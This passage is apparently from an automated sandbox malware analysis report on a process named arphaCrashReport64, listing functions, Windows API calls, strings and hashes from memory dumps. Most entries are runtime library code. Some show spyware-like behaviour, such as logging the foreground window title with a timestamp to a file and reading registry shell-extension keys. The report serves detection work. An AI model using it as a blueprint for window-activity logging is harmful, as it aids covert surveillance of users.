Instruction Fuzzy Hash: FB61C072209A8485EB60CF55E0883EDF3B0FBE9BA8F446516EB9E476C5DB78C552C700

Function 00000217793A1511 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00000217793A1564
_getptd.LIBCMT ref: 00000217793A1519

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

_getptd.LIBCMT ref: 00000217793A15DB
_getptd.LIBCMT ref: 00000217793A15E7

Strings

csm, xrefs: 00000217793A159B

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit
String ID: csm
API String ID: 4155239085-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: 0f2703b6efd8660161c6133f33cc9058ed85df2ec5fa7b2c32e54d3fa122c318
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 3B315C3610964082E670DF56E0487DEB3B1F3A97B5F045221EEAA03BD5CB39D846CB00

Function 00000217793923A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 00000217793923FF
lstrcpy.KERNEL32 ref: 0000021779392415
wsprintfA.USER32 ref: 0000021779392444

Strings

UnKnow, xrefs: 0000021779392409
SOFTWARE\%sW\, xrefs: 0000021779392435

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 25c50ad494a74fd68276a52b2ad7a8bf00471c7cb4c17d8fbebd1e3e914b1a27
Instruction ID: db5ff3531dd092a55c39841b86325301fd94b792bebafc163cdf3d08b8e51e9f
Opcode Fuzzy Hash: 25c50ad494a74fd68276a52b2ad7a8bf00471c7cb4c17d8fbebd1e3e914b1a27
Instruction Fuzzy Hash: 7B21567121D98195EB50DF64E8487DBE7B1F7E8768F411015E68D83AD9DB7DC10ACB00

Function 00000217793922C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 000002177939230D
lstrcpy.KERNEL32 ref: 0000021779392323
wsprintfA.USER32 ref: 0000021779392352

Strings

UnKnow, xrefs: 0000021779392317
SOFTWARE\%sW\, xrefs: 0000021779392343

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 9a0f78225019bec5deb3bcd3db4271389db7be9a6f745cdf9b7e71a9e80b477f
Instruction ID: e5ee3a6b32f8e7f4fbe2abaaef054eb45f0d7a62d1603f3451cd7ca242a17b3b
Opcode Fuzzy Hash: 9a0f78225019bec5deb3bcd3db4271389db7be9a6f745cdf9b7e71a9e80b477f
Instruction Fuzzy Hash: 52114F3221D98191EB20DF11E4487EAA371F7E8758F805011E78D47999EB3DC55ACB00

Function 000002177938F600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 000002177938F629
RegGetValueA.ADVAPI32 ref: 000002177938F666
RegCloseKey.ADVAPI32 ref: 000002177938F681

Strings

Start, xrefs: 000002177938F64B
SOFTWARE\Classes\*\shellex, xrefs: 000002177938F60B

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CloseOpenValue
String ID: SOFTWARE\Classes\*\shellex$Start
API String ID: 779948276-205936948
Opcode ID: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction ID: 1293cac9bdc8d3efe56121d5f2fb033d3451f4524f485ac8642ffb393843046c
Opcode Fuzzy Hash: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction Fuzzy Hash: 6A015EB1219B8586DB10CF61F44868AF3B4F7E87A4F401225EA8D43BA8DF7CC15ACB04

Function 00000217790AB5F4 Relevance: 7.8, APIs: 5, Instructions: 268COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00000217790AB687
free.LIBCMT ref: 00000217790AB816
free.LIBCMT ref: 00000217790AB822

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction ID: c6cb256ac0c9292dd6e257719a840aa6a5a57df4331850febe9ea3f347a6879c
Opcode Fuzzy Hash: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction Fuzzy Hash: 1C81643062DA494FE79A9F1C94597E5B7E1EBAC310F10416EE44AC32D2DA74DC42C7D1

Function 0000021779097698 Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00000217790A2C48: malloc.LIBCMT ref: 00000217790A2C62

std::exception::exception.LIBCMT ref: 000002177909775F
free.LIBCMT ref: 00000217790977CF
free.LIBCMT ref: 00000217790977E1
free.LIBCMT ref: 00000217790977F3
free.LIBCMT ref: 0000021779097805

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction ID: 486091129aed77c7a679eddb679208a65e22fc708f894ceea52bacc8bff231cf
Opcode Fuzzy Hash: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction Fuzzy Hash: 0A51733192AA0E8FEB55EFA9D4597EDF7B1FB68320F50012E9009D32D2DA309446CBD5

Function 000002177909CA18 Relevance: 7.7, APIs: 5, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 00000217790A2C48: malloc.LIBCMT ref: 00000217790A2C62

std::exception::exception.LIBCMT ref: 000002177909CAC3
free.LIBCMT ref: 000002177909CB45
free.LIBCMT ref: 000002177909CB57
free.LIBCMT ref: 000002177909CB69
free.LIBCMT ref: 000002177909CB7B

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: 77ccca81e2f6f97f8fa28cfadba63ce2020b96bfecdcaadccedf7a671a6af5f3
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: EF517170529A0E8FEB56EF58D4557E9B7B1FFA8320F50415AD40AC32D1DA309506CB81

Function 000002177939BC3C Relevance: 7.7, APIs: 5, Instructions: 168COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 000002177939BCCF
__free_lconv_num.LIBCMT ref: 000002177939BDA3
free.LIBCMT ref: 000002177939BDAF
free.LIBCMT ref: 000002177939BE5E
free.LIBCMT ref: 000002177939BE6A

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$__free_lconv_num
String ID:
API String ID: 1547021563-0
Opcode ID: c16b6f9737590003a136c8fcef27dda7f25507dba1af4cbde7d58d3b88c3e8cd
Instruction ID: 0c353e0845576b5659a163cdff18a0b6d3574944bf1368735571329086eecf6b
Opcode Fuzzy Hash: c16b6f9737590003a136c8fcef27dda7f25507dba1af4cbde7d58d3b88c3e8cd
Instruction Fuzzy Hash: 0F61A03620AB8489EB649F15A0487E9B7B4F7EDBB8F0060269F8A477D1DB38C543C740

Function 00000217790A6B98 Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217790A6BBE
_invalid_parameter_noinfo.LIBCMT ref: 00000217790A6BC9
_getptd.LIBCMT ref: 00000217790A6BD5
_lock.LIBCMT ref: 00000217790A6C0E
_lock.LIBCMT ref: 00000217790A6CA1

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction ID: d7e7218bfbc1dc5fc121f257ad5f1b7dac1e7a8a6308952ba01203a2782f8233
Opcode Fuzzy Hash: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction Fuzzy Hash: F041A33063DA0A4BF746AF2894497F9B2F1FBED320F144569E849C72D3DA249802C7E1

Function 00000217793971E0 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021779397206
_invalid_parameter_noinfo.LIBCMT ref: 0000021779397211
_getptd.LIBCMT ref: 000002177939721D
_lock.LIBCMT ref: 0000021779397256
_lock.LIBCMT ref: 00000217793972E9

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: f453061cc0ae8c4d2774961133183c75c1575bd9b631a75802a1a20d267780ef
Instruction ID: 4ccc970a993d5ce76f9026a65076d55c0390120cebf0d42e2c4acf968bc03072
Opcode Fuzzy Hash: f453061cc0ae8c4d2774961133183c75c1575bd9b631a75802a1a20d267780ef
Instruction Fuzzy Hash: 83416C3121B68481FB44AF21998D7FAA2B5B7EDBFCF142125EE4A077D6DA3884428704

Function 000002177939A9F4 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,000002177939ABAF), ref: 000002177939AA4E
malloc.LIBCMT ref: 000002177939AAB2
MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,000002177939ABAF), ref: 000002177939AAFA
GetStringTypeW.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,000002177939ABAF), ref: 000002177939AB11
free.LIBCMT ref: 000002177939AB25

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: ee07f6c5636d413e7892bfcbeb0f91cdd1ccbdd2d21149ca3b3503bd82049be4
Instruction ID: 0c6b8f5a3c4637b2c00557278fee6124a7f0ae2c672b97fbc5dc6532036c0d6a
Opcode Fuzzy Hash: ee07f6c5636d413e7892bfcbeb0f91cdd1ccbdd2d21149ca3b3503bd82049be4
Instruction Fuzzy Hash: 12414232606A4086EB109F6598047E9B3F5FBACBBCF586716EE79877D5DB38C4428700

Function 00000217793A33D8 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 00000217793A3419
_exception_enabled.LIBCMT ref: 00000217793A343C

Part of subcall function 00000217793A331C: _set_statfp.LIBCMT ref: 00000217793A3343
Part of subcall function 00000217793A331C: _set_statfp.LIBCMT ref: 00000217793A33B6

_raise_exc.LIBCMT ref: 00000217793A3488
_ctrlfp.LIBCMT ref: 00000217793A34C8
_ctrlfp.LIBCMT ref: 00000217793A34F9

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _ctrlfp$_set_statfp$_exception_enabled_raise_exc
String ID:
API String ID: 3456427917-0
Opcode ID: 12a622c847374f3166387e9d70a91a980054b998477e05dec9cd0e20066f5fc0
Instruction ID: abb78776acebcd973b309aa2403cd33d4a4eba405bcf5d56c5efc4ebc759dd0c
Opcode Fuzzy Hash: 12a622c847374f3166387e9d70a91a980054b998477e05dec9cd0e20066f5fc0
Instruction Fuzzy Hash: 4D316036619A848AEB11DF25E8056EBF771F7D97A8F001215FA490AA98DF3CC442CB00

Function 0000021779393E80 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 0000021779393EA9
RtlDecodePointer.NTDLL ref: 0000021779393EB9

Part of subcall function 000002177939846C: _errno.LIBCMT ref: 0000021779398475
Part of subcall function 000002177939846C: _invalid_parameter_noinfo.LIBCMT ref: 0000021779398480

RtlEncodePointer.NTDLL ref: 0000021779393F37

Part of subcall function 0000021779395400: realloc.LIBCMT ref: 000002177939542B
Part of subcall function 0000021779395400: Sleep.KERNEL32(?,?,00000000,0000021779393F27,?,?,?,0000021779393F95,?,?,?,?,000002177939330B), ref: 0000021779395447

RtlEncodePointer.NTDLL ref: 0000021779393F47
RtlEncodePointer.NTDLL ref: 0000021779393F54

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$Encode$Decode$Sleep_errno_invalid_parameter_noinforealloc
String ID:
API String ID: 1909145217-0
Opcode ID: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction ID: 552fc804c7aa612d37434e4b05c4cc9d74ad76d5d9f3fc45e4a53fd413b0d8bb
Opcode Fuzzy Hash: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction Fuzzy Hash: C2211C7120BA4581EA04AF52E95C3AAE3B1F7EDBB8F446425E90A477D5EA7CC446C304

Function 000002177938DD70 Relevance: 7.6, APIs: 5, Instructions: 61stringtimeCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 000002177938DD9F
GetWindowTextA.USER32 ref: 000002177938DDBC
lstrlen.KERNEL32 ref: 000002177938DDF5
GetLocalTime.KERNEL32 ref: 000002177938DE04
wsprintfA.USER32 ref: 000002177938DE54

Part of subcall function 000002177938DCA0: WaitForSingleObject.KERNEL32 ref: 000002177938DCBC
Part of subcall function 000002177938DCA0: CreateFileA.KERNEL32 ref: 000002177938DCEE
Part of subcall function 000002177938DCA0: SetFilePointer.KERNEL32 ref: 000002177938DD13
Part of subcall function 000002177938DCA0: lstrlen.KERNEL32 ref: 000002177938DD1C
Part of subcall function 000002177938DCA0: WriteFile.KERNEL32 ref: 000002177938DD39
Part of subcall function 000002177938DCA0: CloseHandle.KERNEL32 ref: 000002177938DD42
Part of subcall function 000002177938DCA0: ReleaseMutex.KERNEL32 ref: 000002177938DD54

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: File$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID:
API String ID: 3163932117-0
Opcode ID: 9c2e0b957a80f6091012f204cde0cca7ec84f3484f66381548a359e3a2c0dc0e
Instruction ID: 194ecacc171dc1a3d84a60303d8b4cba47b327f0358e024faa3efb7042933fc9
Opcode Fuzzy Hash: 9c2e0b957a80f6091012f204cde0cca7ec84f3484f66381548a359e3a2c0dc0e
Instruction Fuzzy Hash: 19314D7161EA44D1EB10DF55E8493AAF7B1F7EC764F405116EA8A83AE4EB3CC14ACB00

Function 00000217793998D0 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000021779399907
GetCurrentProcessId.KERNEL32 ref: 0000021779399912
GetCurrentThreadId.KERNEL32 ref: 000002177939991E
GetTickCount.KERNEL32 ref: 000002177939992A
QueryPerformanceCounter.KERNEL32 ref: 000002177939993B

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction ID: 49a4a6477122b5b09ec697b3799e83de51e74555832d70053bdeb400f148efa6
Opcode Fuzzy Hash: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction Fuzzy Hash: 87015B3162AA0082EB408F25E848396B374F7ADBA0F447620EE5E477E0DA3CC8978304

Function 000002177938E600 Relevance: 7.5, APIs: 5, Instructions: 37sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 000002177938E625
WaitForSingleObject.KERNEL32 ref: 000002177938E635
CloseHandle.KERNEL32 ref: 000002177938E642
Sleep.KERNEL32 ref: 000002177938E64D
CloseHandle.KERNEL32 ref: 000002177938E673

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandle$ObjectSingleSleepTerminateThreadWait
String ID:
API String ID: 3303361366-0
Opcode ID: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction ID: 30c695ec0cfa86454e2563aefd095118e8ffdf35eabe864a38da21dc89e9469a
Opcode Fuzzy Hash: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction Fuzzy Hash: 19111E36A1AB80C6EB559F25F858299B370F7D8B60F445221EA9E03794DF38D547C310

Function 00000217790A3A64 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00000217790A2CEC: _getptd.LIBCMT ref: 00000217790A2CFE

_errno.LIBCMT ref: 00000217790A3A91
_invalid_parameter_noinfo.LIBCMT ref: 00000217790A3A9C

Part of subcall function 00000217790A8670: iswctype.LIBCMT ref: 00000217790A86DD

Strings

Z, xrefs: 00000217790A3ADA
A, xrefs: 00000217790A3AD4

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction ID: c33684ac619cadb306628e1423e379453eebb87b895564f77f17a561682028b9
Opcode Fuzzy Hash: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction Fuzzy Hash: 2331C6309396664BE7A1AF18805D7E6F6F1FBB8331F94025AA499C71D1CA25C882C3E1

Function 00000217790B0EC9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217790B0ED1
_getptd.LIBCMT ref: 00000217790B0F93
_getptd.LIBCMT ref: 00000217790B0F9F

Strings

csm, xrefs: 00000217790B0F53

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: 59a6f8a3831fc84ae374605d287eaa4ea5045603f9d1ef8a4beb835ae5361f7a
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 0E31303122D7068FDA65EF48D445BA9B3F1FBE9320F40066DD48A83996D731E846CB86

Function 00000217793A312C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 00000217793A3167
_errno.LIBCMT ref: 00000217793A3171
_invalid_parameter_noinfo.LIBCMT ref: 00000217793A3178

Strings

-, xrefs: 00000217793A3193

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: f15782d6f828dd88211d5f1d9bfd9215f81b2dc49f1de837d3fae0d8b09ecb77
Instruction ID: d8c57a90b9dbf77b8fd86b9086cabe09b773aaedee69b9e67a0018c9203f2063
Opcode Fuzzy Hash: f15782d6f828dd88211d5f1d9bfd9215f81b2dc49f1de837d3fae0d8b09ecb77
Instruction Fuzzy Hash: 5E31C43230A68045EA209E25A8087DAF7B0E7E9BF4F146215FE9907BD9DF2DC4468B00

Function 00000217793940AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 0000021779393334: _getptd.LIBCMT ref: 0000021779393346

_errno.LIBCMT ref: 00000217793940D9
_invalid_parameter_noinfo.LIBCMT ref: 00000217793940E4

Part of subcall function 0000021779398CB8: iswctype.LIBCMT ref: 0000021779398D25

Strings

Z, xrefs: 0000021779394122
A, xrefs: 000002177939411C

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: e463f11662c860f1c4b49eded7e33c7647cd997a7b129c801fd5d77c378dd932
Instruction ID: 2426a844b53470e700507a6a8aa9126a51c8dbb53220bc1245616600ce2a13c4
Opcode Fuzzy Hash: e463f11662c860f1c4b49eded7e33c7647cd997a7b129c801fd5d77c378dd932
Instruction Fuzzy Hash: 6E218472A1E7A181FB605F15A55C3F9E6B0E3F8BB8F585112EAD9077D8D628C842C700

Function 00000217793A3728 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217793A3741
_invalid_parameter_noinfo.LIBCMT ref: 00000217793A374D
_errno.LIBCMT ref: 00000217793A3774

Strings

1, xrefs: 00000217793A37C3

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: 1
API String ID: 2819658684-2212294583
Opcode ID: 4dcdf7c8606f53b697be72d95b9b2b5693e7dc8786f4527748fd3ec7fc62c8fe
Instruction ID: ab4ee35b919bef506b8b20046f0e8b544c450b17173d9336c56db014031ecd5f
Opcode Fuzzy Hash: 4dcdf7c8606f53b697be72d95b9b2b5693e7dc8786f4527748fd3ec7fc62c8fe
Instruction Fuzzy Hash: 9321C2B221F6C085F7579F24840C7ECEAB4DBA9B64F59E011E642062C3EA2F8D428710

Function 00007FF73D1D170E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D1D0540: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF73D1D0544

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF73D1D1736
RaiseException.KERNEL32 ref: 00007FF73D1D175F
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF73D1D17C0

Strings

csm, xrefs: 00007FF73D1D1793

Memory Dump Source

